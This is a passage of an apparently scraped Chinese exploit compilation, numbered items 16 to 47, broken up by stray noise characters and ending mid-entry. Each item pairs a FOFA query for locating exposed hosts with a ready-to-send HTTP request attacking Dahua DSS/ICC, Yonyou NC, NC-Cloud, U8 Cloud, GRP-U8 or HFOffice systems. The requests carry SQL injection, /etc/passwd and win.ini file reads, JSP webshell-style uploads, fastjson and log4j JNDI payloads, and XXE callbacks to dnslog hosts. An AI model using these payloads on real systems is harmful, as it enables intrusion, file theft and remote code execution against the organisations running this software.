  C% q8 u! P0 P! S( PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
! s0 W8 Z0 K$ \9 U' a+ i: S9 Wsec-ch-ua-platform: Windows
( }* D" P& C2 wAccept-Encoding: gzip

# A+ j/ F2 e9 m% v5 m
' J2 P2 E# d8 ~, Z' l' e+ P0 g16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
: B* n% W  Q3 \User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( p9 Y# }8 C* t7 Q" ~! |Connection: close
Accept: */*
8 t) A$ `9 K8 |$ YAccept-Language: en
, u6 U: F. A/ L; y( l6 |Accept-Encoding: gzip


8 E+ C5 ]0 A3 G! x8 {17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
- U4 _5 G' O, {8 `! E8 D' Z, @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. r9 D9 J' }* x+ Y" w9 R8 ~4 x- dContent-Length: 345
Accept-Encoding: gzip
9 @$ h3 W' r9 o6 r% E6 z9 y
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
) r2 R. D1 b+ v) {8 o6 V3 l4 m" _       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
8 O8 M8 E& K: r% \, Q2 B9 UGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
; \  ~4 k; g$ V6 i8 g4 FHost: your-ip
9 n9 Y$ ?/ s3 y+ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: E& E: ~' ~- C& K& NAccept-Encoding: gzip, deflate
" T2 w6 v3 Z4 I! k* @9 C9 \3 qAccept: */*
Connection: keep-alive

, p3 C1 n; C; @
/ I" _7 o- S! L$ k5 w: e5 x
/ U/ m6 A$ c. g5 v# [19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
# b9 D& G& W- Y1 c5 v$ PFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
1 E& }! _7 N2 H  R, mHost:
! g# s. l! f& N$ vUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) \# g% U" K, K& U) C! x* ~2 [) AAccept-Encoding: gzip, deflate
  M  u0 u$ V6 m- k1 z" t. UAccept: */*
+ l8 v, y( I* Y) TConnection: keep-alive

: w& H% S# Q9 O: J2 C/ R
6 s) S( c* t, I5 v& v& i20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
0 e# r+ x% M5 J1 L/ t. uAccept: */*
2 B0 {4 k7 T6 `  HAccept-Language: en
( u: J( s; s# T6 J! N% }  R1 p0 h: cAccept-Encoding: gzip
* {- R5 I3 d% c7 f; K& ^9 d
: F# V6 D. m3 j* f2 q9 Y
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
+ i, X$ E6 b. M' K: SPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 S! S" i+ C- kContent-Length: 161
Accept-Encoding: gzip
& B9 r' }4 P. |2 qConnection: close
Content-Type: application/json;charset=utf-8

{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
$ _' s. s7 O% L6 }

22. 大华ICC智能物联综合管理平台 log4j远程代码执行
" p) u' O! i, t. K" WFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
# r) X$ Z6 X7 W$ ?4 B1 \# g1 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( m. Y2 q1 u  U# y2 _  w! OContent-Type: application/json;charset=utf-8

' g" |  o: k# W  d{
"loginName":"${jndi:ldap://dnslog}"
" @1 X' E; m' T' w}
4 S- Z; W5 F3 _0 m: H
. u+ ]8 _) E" r. O; Q2 s
( j7 d  j  p% v6 D* H
  N# U; ~/ |' d" e23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 u% E' L( q. R- j) _& _FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( T0 M: {. x$ `3 wHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 w4 l/ \$ ?& V- O" @+ A1 mContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
; P) a% {. n  {! a* B, C) ^: T
{
* P; c- X! B4 N6 I1 l$ `    "a":{
' r! d6 l1 {+ a7 H        "@type":"com.alibaba.fastjson.JSONObject",
6 f/ P" e2 q0 v       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
4 Q$ |1 e& x2 t* _
: a" `5 M6 n5 A
9 ]! A% z9 H8 b4 U( Y24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
, a9 j' V4 o0 }7 g. kUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
: O/ M4 z: H' I: N+ PAccept: */*
Accept-Encoding: gzip
, {% u, G  o5 C. G* I. b7 |! Q! n, nContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
* J6 w# B% y) g# ~3 S
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
' y5 _" r, o: cContent-Type: text/plain
6 e& V" G- U; G0 r  O
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
( l! R& b- C7 j! R7 F-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
; r/ f) L! f( Y0 h) t8 Z+ v$ b: M
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
) R5 }1 _/ G$ ~3 m3 s-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
5 T" k, s5 \6 R% U

25. 用友NC registerServlet JNDI 远程代码执行
, q  t) c6 K$ [: N5 g) }* wFOFA：app="用友-UFIDA-NC"
* E2 D0 L' I0 tPOST /portal/registerServlet HTTP/1.1
0 _; p  s4 j8 d5 Q( m) c+ KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
+ o' t' u. P+ b' J/ [Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

9 ?: C  y0 h: q
& {4 i* ?# l8 Q
26. 用友NC linkVoucher SQL注入
, j' `, H% e2 q) ?9 C0 F: S$ [7 |" ~% PFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
. K2 ?9 U  c8 H. J/ B) ?( IAccept: */*
+ d0 i! y7 e9 Q6 G* KConnection: keep-alive

4 ~( ?( @0 `$ d# f% @5 I; s
" d+ `" g7 ~' o+ X2 d27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
$ e2 m% B: V) J4 z' f' x4 O  u% [$ iGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 U6 ]( c5 d- F! s4 zAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
0 B' }8 |5 Z$ ~; K- FPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
/ Q. J0 L8 ?( t/ \6 _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" f3 b& E8 r. |' e; S8 E6 L/ C: LAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
7 \! |/ U" ]* d2 ~6 qContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
- Y% Z) R3 n" Y5 G# K------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
4 ^! @; ?, y! g- G  A& v
+ D5 }8 G5 x5 o
/uapim/static/pages/nc/head.jsp
. Y, l' [+ k9 f! ]! W, e+ v8 a
, [4 X9 ]# d8 [* f  _8 k0 B29. 用友NC down/bill SQL注入
- T3 Q2 s( k7 C1 o9 p" eFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
/ v' c. C/ F8 D* m( h7 {GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
+ ]: q0 m, w# t8 D) Q6 E4 |$ l" wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 X8 g1 ^4 c" zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
+ G2 ]  Z7 s$ c* P8 A1 {8 g" f

30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
+ a) y* e# r4 M3 Z) o- W$ _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
: X0 m, |. B( d! C* t% b/ A& A
4 @7 J6 \9 }7 y2 x' G0 x------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
# M/ s/ r4 \5 R$ [Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


) l9 ^. p1 H+ H1 F  f31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 n2 Y5 T( o1 K, \6 `GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( c  L  T* g0 l- ^% PHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
3 z/ b$ t! K2 ~: G- |. G$ U2 wContent-Type: application/x-www-form-urlencoded

0 @: e% X8 B' l2 F6 y! t. Z, c
9 r) M9 u8 F: H, R$ v32. 用友NC complainbilldetail SQL注入
  H) r; X+ l6 \2 D8 _version= NC633、NC65
5 g  X5 g/ F* gFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
6 {; j6 |" I. Q1 S9 c% i4 N2 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
; a4 @% R: v4 C3 Z! M: v) \/ wAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
( s9 D: l4 U* c8 F. @3 B& ~version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. N# c! }8 }4 E1 ]) s5 M$ @3 }8 [' QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ {: d0 _( q% i1 Y& g& a  oAccept: */*
; p! X5 k- s- ?* D4 F3 I+ J( rConnection: keep-alive

3 y2 b! E6 L0 K: X
# G3 v7 r9 \1 k, c" D$ R" z34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 ?. _$ l% R5 ]9 ?% S2 P- vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
- K: `2 i$ \! y- v1 D) B6 ?Connection: keep-alive
- f' k1 E1 b' c

35. 用友NC-Cloud importhttpscer任意文件上传
5 ^: g9 J: H6 _# ?% T* vFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
4 I1 T% e5 X; C+ lUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
" U( L  a( ]# P# ?- ]Accept: */*
+ j5 ^3 Q; c6 ]# }( SConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
$ M  L! i0 A; m5 k- PContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

$ i4 K3 b( C" f( S3 \) O6 s--fd28cb44e829ed1c197ec3bc71748df0
1 _2 o# @4 y, T  l  E9 NContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
  q2 B7 a" b. h
. d- E: ]" k3 H3 O<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
1 Z/ h  [* o$ I3 L

$ @0 @8 b! e! u36. 用友NC-Cloud soapFormat XXE
9 C1 ]$ @+ b' BFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 u( ?# x+ f2 ~# q$ i% a  DPOST /uapws/soapFormat.ajax HTTP/1.1
2 n  @: }8 _. IHost: 192.168.40.130:8989
# v6 @( j) ?! HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
) g& m; a% M# I: d1 w" gContent-Length: 263
& L2 p9 m; v( n. j# s6 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: T! W+ v; s: p" U. zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
4 f" g# |9 U  v0 n3 \$ @Upgrade-Insecure-Requests: 1
7 E  r+ j/ U0 _$ K5 |! J. g
0 V( x3 e, S% @# o5 l" cmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
' f6 U$ Z3 a& Q

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 o5 e5 b  K3 z: i3 wPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
2 ?6 }+ f- J# x! t/ V9 k3 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# P+ l( \7 \* G% b1 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
5 j" i/ E- i" E6 C; V3 l" oSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
0 n2 \4 u% Y6 O<soapenv:Header/>
, q  E- e- p4 i; e<soapenv:Body>
<iup:getResult>
# k) x) ~7 Z, T<!--type: string-->
<iup:string><![CDATA[
7 x. O5 ^3 ~8 M/ M4 b<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
# n8 N( X8 t" j' h( s# e# [8 A<xxx/>]]></iup:string>
</iup:getResult>
4 ?2 L3 _) t$ u! W</soapenv:Body>
</soapenv:Envelope>
; L; O- C5 o7 t# }3 n- H( v: c


38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
$ G; q# ^3 J- Q$ KPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 V: P  M8 t/ e* p7 s$ THost: 192.168.40.131:8088
9 Y& y, X# m( C% d9 j6 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
: Q; ~7 ?  Q* V3 x) N& G' EContent-Length: 260
  p$ \0 w5 o, w" U# u6 r% u7 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
7 O, d( N. Y) G/ L  h; }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% p# o! w- Q4 j5 R3 u9 t% J' hContent-Type: application/x-www-form-urlencoded

: `) ^! e" p9 {) D% g__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
. L6 S) h: u; y

39. 用友U8 Cloud RegisterServlet SQL注入
* V" o  h% t) v; RFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
! g2 G: i/ [- F; d* c6 GHost: 192.168.86.128:8089
6 w0 q9 }0 X+ H6 z8 z  d7 f( PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
, ^6 J+ H( f# X0 LAccept: */*
( ^7 v7 o! v- ~2 A, MAccept-Language: en
( _% Y4 _3 h. e' B0 ^Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
/ y( M1 P' s8 Q. @% nAccept-Encoding: gzip
9 C( z" W3 }# V% x4 z- H$ o
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
# P3 P4 k0 _9 |) t) V

40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
: _4 S# e0 b& v+ p+ [POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
+ u- G5 e( t4 m/ }6 s- V
1 L0 g/ h' z" D+ E0 I9 b6 x<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
$ ?: H& F& [0 i9 ~4 P7 L+ q# T0 p, ?! ?

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
% ^, _  z9 C  h# GFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
! L( W4 Y" j3 v) cHost:
+ |( \  q$ M( Z9 ~' JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
( D1 R) P0 e+ n/ r. RAccept-Encoding: gzip
4 M! q" g: H4 C( j" A# hConnection: close

" a7 G3 U7 Z  ~' x1 S% f" f( l2 J9 ]
  P' S' p9 I# t2 a42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
- m! k( A% A/ e* AHost: x.x.x.x
2 G5 \4 v, P; ]6 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
' z% ^- T* J& t5 \7 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
$ D4 \1 T5 D* \! F1 K3 Z5 ^# a
PAYLOAD
! D) o, K! J' F. L0 C# o
$ H! U$ o% f) l3 i' m9 q
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
  G/ z2 X! v! }9 {+ y1 f2 N: rPOST /services/userInfoWeb HTTP/1.1
6 X' A2 X5 U+ T; V! lHost: your-ip
* v2 g6 n* P1 j0 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
. J6 O2 |: p+ O; a+ a: B1 XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( n! u8 v+ N) iConnection: close
. R+ M) M" P4 R1 C8 W8 P, Z$ |SOAPAction:
. t& Z' Y+ f- A5 J' G. n3 l  D2 `Content-Type: text/xml;charset=UTF-8
( u2 I. L* A, M
" }& I' M/ j: Z7 k+ M8 q<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
1 R( b& N+ X! n9 j) y. j   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
: n' ~) J0 R, ]$ |3 e+ ^7 K         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
' z2 H; Q8 y8 V. B) ?# }1 s      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
8 B8 P, a8 e6 b$ V% g; q: F

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
. O2 A: [4 Q( I% X7 ^$ X- |+ h5 IHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( B% k) o. }1 }% x( y8 bAccept-Encoding: gzip, deflate
& u& ]! P4 n9 ~7 {  ?$ }; TAccept-Language: zh-CN,zh;q=0.9
! B: X( q4 q- |; _4 [4 Z+ x$ q3 [) EConnection: close

  u% S5 r8 f5 M
( y1 Y0 w; F1 \" [8 E; Q45. 用友GRP-U8 ufgovbank XXE
/ F! u0 W" e7 N: hFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
$ V0 s& R3 L+ O6 i4 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
1 e8 l  U, |7 l. ~; |( W: bConnection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! w: s) D9 H% p6 S* o% C( cContent-Type: application/x-www-form-urlencoded
6 F; Z$ O2 j# ^8 W8 F! E9 cAccept-Encoding: gzip

* x: Y$ _7 a- F1 ZreqData=<?xml version="1.0"?>
& R! u5 j* T( {9 c* t5 A<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

+ U' j. ~# d: e. t. m
% f: q8 Z3 Z5 i& g46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. Q1 k8 ?' G4 T2 u: vAccept-Language: zh-CN,zh;q=0.9
9 s! U5 c4 w7 S0 Y, GConnection: close
. p( Y6 [  g  u, Y( k8 P

* f) {0 @1 t# ~. t47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 K2 V% b) @! ]$ j2 J4 P, R* [% {8 _FOFA：body="/pf/portal/login/css/fonts/style.css"
